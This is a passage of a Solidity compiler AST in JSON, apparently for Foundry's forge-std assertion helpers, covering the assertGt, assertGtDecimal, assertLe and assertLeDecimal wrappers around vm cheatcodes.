Vm"}},"id":1744,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13652:15:1","memberName":"assertGtDecimal","nodeType":"MemberAccess","referencedDeclaration":14097,"src":"13649:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":1749,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13649:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1750,"nodeType":"ExpressionStatement","src":"13649:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"13535:15:1","parameters":{"id":1740,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1733,"mutability":"mutable","name":"left","nameLocation":"13559:4:1","nodeType":"VariableDeclaration","scope":1752,"src":"13551:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1732,"name":"uint256","nodeType":"ElementaryTypeName","src":"13551:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1735,"mutability":"mutable","name":"right","nameLocation":"13573:5:1","nodeType":"VariableDeclaration","scope":1752,"src":"13565:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1734,"name":"uint256","nodeType":"ElementaryTypeName","src":"13565:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1737,"mutability":"mutable","name":"decimals","nameLocation":"13588:8:1","nodeType":"VariableDeclaration","scope":1752,"src":"13580:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1736,"name":"uint256","nodeType":"ElementaryTypeName","src":"13580:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1739,"mutability":"mutable","name":"err","nameLocation":"13612:3:1","nodeType":"VariableDeclaration","scope":1752,"src":"13598:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1738,"name":"string","nodeType":"ElementaryTypeName","src":"13598:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13550:66:1"},"returnParameters":{"id":1741,"nodeType":"ParameterList","parameters":[],"src":"13639:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1767,"nodeType":"FunctionDefinition","src":"13708:108:1","nodes":[],"body":{"id":1766,"nodeType":"Block","src":"13775:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1762,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1754,"src":"13797:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1763,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1756,"src":"13803:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":1759,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13785:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1761,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13788:8:1","memberName":"assertGt","nodeType":"MemberAccess","referencedDeclaration":14145,"src":"13785:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$returns$__$","typeString":"function (int256,int256) pure external"}},"id":1764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13785:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1765,"nodeType":"ExpressionStatement","src":"13785:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"13717:8:1","parameters":{"id":1757,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1754,"mutability":"mutable","name":"left","nameLocation":"13733:4:1","nodeType":"VariableDeclaration","scope":1767,"src":"13726:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1753,"name":"int256","nodeType":"ElementaryTypeName","src":"13726:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1756,"mutability":"mutable","name":"right","nameLocation":"13746:5:1","nodeType":"VariableDeclaration","scope":1767,"src":"13739:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1755,"name":"int256","nodeType":"ElementaryTypeName","src":"13739:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"13725:27:1"},"returnParameters":{"id":1758,"nodeType":"ParameterList","parameters":[],"src":"13775:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1785,"nodeType":"FunctionDefinition","src":"13822:132:1","nodes":[],"body":{"id":1784,"nodeType":"Block","src":"13908:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1779,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1769,"src":"13930:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1780,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1771,"src":"13936:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1781,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1773,"src":"13943:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1776,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"13918:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"13921:8:1","memberName":"assertGt","nodeType":"MemberAccess","referencedDeclaration":14155,"src":"13918:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,string memory) pure external"}},"id":1782,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13918:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1783,"nodeType":"ExpressionStatement","src":"13918:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGt","nameLocation":"13831:8:1","parameters":{"id":1774,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1769,"mutability":"mutable","name":"left","nameLocation":"13847:4:1","nodeType":"VariableDeclaration","scope":1785,"src":"13840:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1768,"name":"int256","nodeType":"ElementaryTypeName","src":"13840:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1771,"mutability":"mutable","name":"right","nameLocation":"13860:5:1","nodeType":"VariableDeclaration","scope":1785,"src":"13853:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1770,"name":"int256","nodeType":"ElementaryTypeName","src":"13853:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1773,"mutability":"mutable","name":"err","nameLocation":"13881:3:1","nodeType":"VariableDeclaration","scope":1785,"src":"13867:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1772,"name":"string","nodeType":"ElementaryTypeName","src":"13867:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13839:46:1"},"returnParameters":{"id":1775,"nodeType":"ParameterList","parameters":[],"src":"13908:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1803,"nodeType":"FunctionDefinition","src":"13960:150:1","nodes":[],"body":{"id":1802,"nodeType":"Block","src":"14052:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1797,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1787,"src":"14081:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1798,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1789,"src":"14087:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1799,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1791,"src":"14094:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1794,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14062:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14065:15:1","memberName":"assertGtDecimal","nodeType":"MemberAccess","referencedDeclaration":14107,"src":"14062:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$returns$__$","typeString":"function (int256,int256,uint256) pure external"}},"id":1800,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14062:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1801,"nodeType":"ExpressionStatement","src":"14062:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"13969:15:1","parameters":{"id":1792,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1787,"mutability":"mutable","name":"left","nameLocation":"13992:4:1","nodeType":"VariableDeclaration","scope":1803,"src":"13985:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1786,"name":"int256","nodeType":"ElementaryTypeName","src":"13985:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1789,"mutability":"mutable","name":"right","nameLocation":"14005:5:1","nodeType":"VariableDeclaration","scope":1803,"src":"13998:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1788,"name":"int256","nodeType":"ElementaryTypeName","src":"13998:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1791,"mutability":"mutable","name":"decimals","nameLocation":"14020:8:1","nodeType":"VariableDeclaration","scope":1803,"src":"14012:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1790,"name":"uint256","nodeType":"ElementaryTypeName","src":"14012:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13984:45:1"},"returnParameters":{"id":1793,"nodeType":"ParameterList","parameters":[],"src":"14052:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1824,"nodeType":"FunctionDefinition","src":"14116:174:1","nodes":[],"body":{"id":1823,"nodeType":"Block","src":"14227:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1817,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1805,"src":"14256:4:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1818,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1807,"src":"14262:5:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},{"id":1819,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1809,"src":"14269:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1820,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1811,"src":"14279:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_int256","typeString":"int256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1814,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14237:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1816,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14240:15:1","memberName":"assertGtDecimal","nodeType":"MemberAccess","referencedDeclaration":14119,"src":"14237:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$_t_int256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (int256,int256,uint256,string memory) pure external"}},"id":1821,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14237:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1822,"nodeType":"ExpressionStatement","src":"14237:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertGtDecimal","nameLocation":"14125:15:1","parameters":{"id":1812,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1805,"mutability":"mutable","name":"left","nameLocation":"14148:4:1","nodeType":"VariableDeclaration","scope":1824,"src":"14141:11:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1804,"name":"int256","nodeType":"ElementaryTypeName","src":"14141:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1807,"mutability":"mutable","name":"right","nameLocation":"14161:5:1","nodeType":"VariableDeclaration","scope":1824,"src":"14154:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":1806,"name":"int256","nodeType":"ElementaryTypeName","src":"14154:6:1","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":1809,"mutability":"mutable","name":"decimals","nameLocation":"14176:8:1","nodeType":"VariableDeclaration","scope":1824,"src":"14168:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1808,"name":"uint256","nodeType":"ElementaryTypeName","src":"14168:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1811,"mutability":"mutable","name":"err","nameLocation":"14200:3:1","nodeType":"VariableDeclaration","scope":1824,"src":"14186:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1810,"name":"string","nodeType":"ElementaryTypeName","src":"14186:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14140:64:1"},"returnParameters":{"id":1813,"nodeType":"ParameterList","parameters":[],"src":"14227:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1839,"nodeType":"FunctionDefinition","src":"14296:110:1","nodes":[],"body":{"id":1838,"nodeType":"Block","src":"14365:41:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1834,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1826,"src":"14387:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1835,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1828,"src":"14393:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1831,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14375:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1833,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14378:8:1","memberName":"assertLe","nodeType":"MemberAccess","referencedDeclaration":14207,"src":"14375:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure external"}},"id":1836,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14375:24:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1837,"nodeType":"ExpressionStatement","src":"14375:24:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"14305:8:1","parameters":{"id":1829,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1826,"mutability":"mutable","name":"left","nameLocation":"14322:4:1","nodeType":"VariableDeclaration","scope":1839,"src":"14314:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1825,"name":"uint256","nodeType":"ElementaryTypeName","src":"14314:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1828,"mutability":"mutable","name":"right","nameLocation":"14336:5:1","nodeType":"VariableDeclaration","scope":1839,"src":"14328:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1827,"name":"uint256","nodeType":"ElementaryTypeName","src":"14328:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14313:29:1"},"returnParameters":{"id":1830,"nodeType":"ParameterList","parameters":[],"src":"14365:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1857,"nodeType":"FunctionDefinition","src":"14412:134:1","nodes":[],"body":{"id":1856,"nodeType":"Block","src":"14500:46:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1851,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1841,"src":"14522:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1852,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1843,"src":"14528:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1853,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1845,"src":"14535:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1848,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14510:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14513:8:1","memberName":"assertLe","nodeType":"MemberAccess","referencedDeclaration":14217,"src":"14510:11:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,string memory) pure external"}},"id":1854,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14510:29:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1855,"nodeType":"ExpressionStatement","src":"14510:29:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLe","nameLocation":"14421:8:1","parameters":{"id":1846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1841,"mutability":"mutable","name":"left","nameLocation":"14438:4:1","nodeType":"VariableDeclaration","scope":1857,"src":"14430:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1840,"name":"uint256","nodeType":"ElementaryTypeName","src":"14430:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1843,"mutability":"mutable","name":"right","nameLocation":"14452:5:1","nodeType":"VariableDeclaration","scope":1857,"src":"14444:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1842,"name":"uint256","nodeType":"ElementaryTypeName","src":"14444:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1845,"mutability":"mutable","name":"err","nameLocation":"14473:3:1","nodeType":"VariableDeclaration","scope":1857,"src":"14459:17:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":1844,"name":"string","nodeType":"ElementaryTypeName","src":"14459:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"14429:48:1"},"returnParameters":{"id":1847,"nodeType":"ParameterList","parameters":[],"src":"14500:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1875,"nodeType":"FunctionDefinition","src":"14552:152:1","nodes":[],"body":{"id":1874,"nodeType":"Block","src":"14646:58:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1869,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1859,"src":"14675:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1870,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1861,"src":"14681:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1871,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1863,"src":"14688:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":1866,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14656:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1868,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14659:15:1","memberName":"assertLeDecimal","nodeType":"MemberAccess","referencedDeclaration":14165,"src":"14656:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256,uint256) pure external"}},"id":1872,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14656:41:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1873,"nodeType":"ExpressionStatement","src":"14656:41:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"14561:15:1","parameters":{"id":1864,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1859,"mutability":"mutable","name":"left","nameLocation":"14585:4:1","nodeType":"VariableDeclaration","scope":1875,"src":"14577:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1858,"name":"uint256","nodeType":"ElementaryTypeName","src":"14577:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1861,"mutability":"mutable","name":"right","nameLocation":"14599:5:1","nodeType":"VariableDeclaration","scope":1875,"src":"14591:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1860,"name":"uint256","nodeType":"ElementaryTypeName","src":"14591:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1863,"mutability":"mutable","name":"decimals","nameLocation":"14614:8:1","nodeType":"VariableDeclaration","scope":1875,"src":"14606:16:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1862,"name":"uint256","nodeType":"ElementaryTypeName","src":"14606:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"14576:47:1"},"returnParameters":{"id":1865,"nodeType":"ParameterList","parameters":[],"src":"14646:0:1"},"scope":2695,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":1896,"nodeType":"FunctionDefinition","src":"14710:176:1","nodes":[],"body":{"id":1895,"nodeType":"Block","src":"14823:63:1","nodes":[],"statements":[{"expression":{"arguments":[{"id":1889,"name":"left","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1877,"src":"14852:4:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1890,"name":"right","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1879,"src":"14858:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1891,"name":"decimals","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1881,"src":"14865:8:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":1892,"name":"err","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1883,"src":"14875:3:1","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":1886,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":96,"src":"14833:2:1","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":1888,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"14836:15:1","memberName":"assertLeDecimal","nodeType":"MemberAccess","referencedDeclaration":14177,"src":"14833:18:1","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$_t_uint256_$_t_uint256_$_t_string_memory_ptr_$returns$__$","typeString":"function (uint256,uint256,uint256,string memory) pure external"}},"id":1893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"14833:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1894,"nodeType":"ExpressionStatement","src":"14833:46:1"}]},"implemented":true,"kind":"function","modifiers":[],"name":"assertLeDecimal","nameLocation":"14719:15:1","parameters":{"id":1884,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1877,"mutability":"mutable","name":"left","nameLocation":"14743:4:1","nodeType":"VariableDeclaration","scope":1896,"src":"14735:12:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1876,"name":"uint256","nodeType":"ElementaryTypeName","src":"14735:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":1879,"mutability":"mutable","name":"right","nameLocation":"14757:5:1","nodeType":"VariableDeclaration","scope":1896,"src":"14749:13:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1878,"name":"uint256","nodeType":"ElementaryTypeName","src":"14749:7:1","typeDescriptions":{"typeIdentifier":"t_uint2